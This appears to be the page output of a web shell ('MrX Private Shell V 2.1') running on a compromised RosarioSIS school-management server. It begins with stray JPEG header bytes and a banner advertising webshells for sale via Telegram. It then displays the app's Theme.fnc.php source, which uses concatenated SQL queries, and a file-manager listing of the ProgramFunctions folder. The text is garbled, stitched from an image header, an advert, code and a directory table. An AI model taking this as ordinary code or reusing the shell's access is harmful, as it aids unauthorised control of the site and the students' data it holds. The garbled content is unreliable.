����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Theme functions
*
* @package RosarioSIS
* @subpackage ProgramFunctions
*/
/**
* Theme live update.
* Configured theme has changed? Update it live!
* Reload the page so the new theme stylesheet is loaded.
*
* @since 3.0
*
* @param string $new_theme New theme name / directory.
* @param string $old_theme Old theme name / directory.
* @param boolean $default Is default theme (Configuration.php) or Preferred theme (Preferences.php)?
*
* @return boolean False if has not changed, else DIES before reloading page.
*/
function ThemeLiveUpdate( $new_theme, $old_theme, $default = true )
{
if ( ! $new_theme
|| ! $old_theme
|| ( $new_theme === $old_theme && ! $default ) )
{
// Theme has not changed in My Preferences.
return false;
}
if ( ! $default
&& Config( 'THEME_FORCE' ) )
{
// Theme forced, we should not be able to change it anyway from My Preferences!
return false;
}
if ( $default )
{
// Check if loaded stylesheet is the same as the new one.
// Get the value from DB as Preferences() value is overridden by THEME_FORCE!
$real_user_preferred_theme = DBGetOne( "SELECT VALUE
FROM program_user_config
WHERE USER_ID='" . User( 'STAFF_ID' ) . "'
AND PROGRAM='Preferences'
AND TITLE='THEME'" );
if ( ( ! $real_user_preferred_theme && $new_theme === $old_theme )
|| $real_user_preferred_theme === $new_theme )
{
// User already had that Theme loaded, do nothing.
return false;
}
}
if ( $default
&& ! Config( 'THEME_FORCE' )
&& Preferences( 'THEME' ) !== $new_theme )
{
// If not Forcing theme, update admin Preferred theme too.
DBQuery( "UPDATE program_user_config
SET VALUE='" . $new_theme . "'
WHERE USER_ID='" . User( 'STAFF_ID' ) . "'
AND PROGRAM='Preferences'
AND TITLE='THEME'" );
}
// Reload the page so the new theme stylesheet gets loaded. ?>
<script>
location.reload(true);
</script>
<?php
Warehouse( 'footer' );
die();
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| PHPCompatibility | Folder | 0755 |
|
|
| Charts.fnc.php | File | 6.03 KB | 0644 |
|
| Dashboard.fnc.php | File | 2.79 KB | 0644 |
|
| DashboardModule.fnc.php | File | 6.17 KB | 0644 |
|
| Debug.fnc.php | File | 1.56 KB | 0644 |
|
| Fields.fnc.php | File | 20.17 KB | 0644 |
|
| FileUpload.fnc.php | File | 25.36 KB | 0644 |
|
| FirstLogin.fnc.php | File | 9.19 KB | 0644 |
|
| HackingLog.fnc.php | File | 2.41 KB | 0644 |
|
| Help.fnc.php | File | 5.03 KB | 0644 |
|
| Linkify.fnc.php | File | 1.19 KB | 0644 |
|
| MailingLabel.fnc.php | File | 3.7 KB | 0644 |
|
| MarkDownHTML.fnc.php | File | 6.87 KB | 0644 |
|
| PortalPollsNotes.fnc.php | File | 14.16 KB | 0644 |
|
| README | File | 267 B | 0644 |
|
| SchoolPeriodsSelectInput.fnc.php | File | 3.15 KB | 0644 |
|
| SendEmail.fnc.php | File | 5.05 KB | 0644 |
|
| SendNotification.fnc.php | File | 10.85 KB | 0644 |
|
| StudentsUsersInfo.fnc.php | File | 23.68 KB | 0644 |
|
| Substitutions.fnc.php | File | 7.63 KB | 0644 |
|
| Template.fnc.php | File | 3.21 KB | 0644 |
|
| Theme.fnc.php | File | 1.93 KB | 0644 |
|
| TipMessage.fnc.php | File | 3.7 KB | 0644 |
|
| Update.fnc.php | File | 35.17 KB | 0644 |
|
| UpdateV2_3.fnc.php | File | 16.27 KB | 0644 |
|
| UpdateV4_5.fnc.php | File | 58.61 KB | 0644 |
|
| UpdateV6_8_9.fnc.php | File | 22.19 KB | 0644 |
|
| UserAgent.fnc.php | File | 1.68 KB | 0644 |
|
| _makeLetterGrade.fnc.php | File | 4.03 KB | 0644 |
|
| _makePercentGrade.fnc.php | File | 2.73 KB | 0644 |
|
| miscExport.fnc.php | File | 2.17 KB | 0644 |
|